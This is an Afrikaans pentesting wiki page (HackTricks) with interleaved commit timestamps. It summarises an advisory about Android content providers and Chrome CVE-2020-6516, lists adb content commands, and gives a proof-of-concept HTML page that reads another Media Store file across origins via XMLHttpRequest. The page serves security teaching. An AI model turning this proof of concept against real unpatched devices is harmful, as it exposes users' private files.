hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

109 lines
6.2 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2022-04-28 16:01:33 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
2024-02-11 02:07:06 +00:00
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
{% embed url="https://websec.nl/" %}
2021-05-04 11:44:49 +00:00
**Dit is 'n opsomming van die pos [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
### Lys van Lêers in Media Store
Om lêers wat deur die Media Store bestuur word, te lys, kan die volgende bevel gebruik word:
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file
```
Vir 'n meer mensvriendelike uitset, vertoon slegs die identifiseerder en pad van elke geïndekseerde lêer:
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
Contentverskaffers is geïsoleer in hul eie private namespace. Toegang tot 'n verskaffer vereis die spesifieke `content://` URI. Inligting oor die paaie om 'n verskaffer te benader kan verkry word uit aansoek-manifeste of die bronkode van die Android-raamwerk.
### Chrome se Toegang tot Inhoudsverskaffers
Chrome op Android kan toegang verkry tot inhoudsverskaffers deur die `content://` skema, wat dit in staat stel om bronne soos foto's of dokumente wat deur derdeparty-aansoeke uitgevoer is, te benader. Om dit te illustreer, kan 'n lêer in die Media Store ingevoeg word en daarna via Chrome benader word:
2021-05-04 11:44:49 +00:00
Voeg 'n aangepaste inskrywing by die Media Store in:
2021-05-04 11:44:49 +00:00
```bash
2024-02-05 03:29:11 +01:00
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
2024-02-11 02:07:06 +00:00
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
2021-05-04 11:44:49 +00:00
```
2024-02-11 02:07:06 +00:00
Ontdek die identifiseerder van die nuut ingevoegde lêer:
2021-05-04 11:44:49 +00:00
```bash
2024-02-05 03:29:11 +01:00
content query --uri content://media/external/file \
2024-02-11 02:07:06 +00:00
--projection _id,_data | grep test.txt
2024-02-05 03:29:11 +01:00
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
2021-05-04 11:44:49 +00:00
```
2024-02-11 02:07:06 +00:00
Die lêer kan dan in Chrome besigtig word deur 'n URL te gebruik wat saamgestel is met die lêer se identifiseerder.
2021-05-04 11:44:49 +00:00
Byvoorbeeld, om lêers wat verband hou met 'n spesifieke aansoek te lys:
2021-05-04 11:44:49 +00:00
```bash
2024-02-05 03:29:11 +01:00
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
2021-05-04 11:44:49 +00:00
```
### Chrome CVE-2020-6516: Same-Origin-Policy Oorskryding
2021-05-04 11:44:49 +00:00
Die _Same Origin Policy_ (SOP) is 'n sekuriteitsprotokol in webblaaier wat webblaaie beperk om met bronne van verskillende oorsprong te interaksieer tensy dit uitdruklik toegelaat word deur 'n Cross-Origin-Resource-Sharing (CORS) beleid. Hierdie beleid het ten doel om informasie lekke en kruis-webwerfversoekvervalsing te voorkom. Chrome beskou `content://` as 'n plaaslike skema, wat impliseer dat strenger SOP-reëls van toepassing is, waar elke plaaslike skema-URL as 'n afsonderlike oorsprong beskou word.
2021-05-04 11:44:49 +00:00
Nietemin was CVE-2020-6516 'n kwesbaarheid in Chrome wat 'n oorskryding van SOP-reëls vir bronne wat gelaai is via 'n `content://`-URL toegelaat het. In werklikheid kon JavaScript-kode vanaf 'n `content://`-URL toegang verkry tot ander bronne wat gelaai is via `content://`-URL's, wat 'n beduidende sekuriteitskwessie was, veral op Android-toestelle wat weergawes vroër as Android 10 hardloop, waar omvangbeheer nie geïmplementeer was nie.
2021-05-04 11:44:49 +00:00
Die bewys-van-konsep hieronder demonstreer hierdie kwesbaarheid, waar 'n HTML-dokument, nadat dit onder **/sdcard** geüpload is en by die Media Store gevoeg is, `XMLHttpRequest` in sy JavaScript gebruik om die inhoud van 'n ander lêer in die Media Store te benader en te vertoon, terwyl die SOP-reëls omseil word.
2021-05-04 11:44:49 +00:00
Bewys-van-konsep HTML:
2024-02-05 03:29:11 +01:00
```xml
2021-05-04 11:44:49 +00:00
<html>
<head>
2024-02-11 02:07:06 +00:00
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
2021-05-04 11:44:49 +00:00
</head>
<body onload="poc()"></body>
</html>
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2022-04-28 16:01:33 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>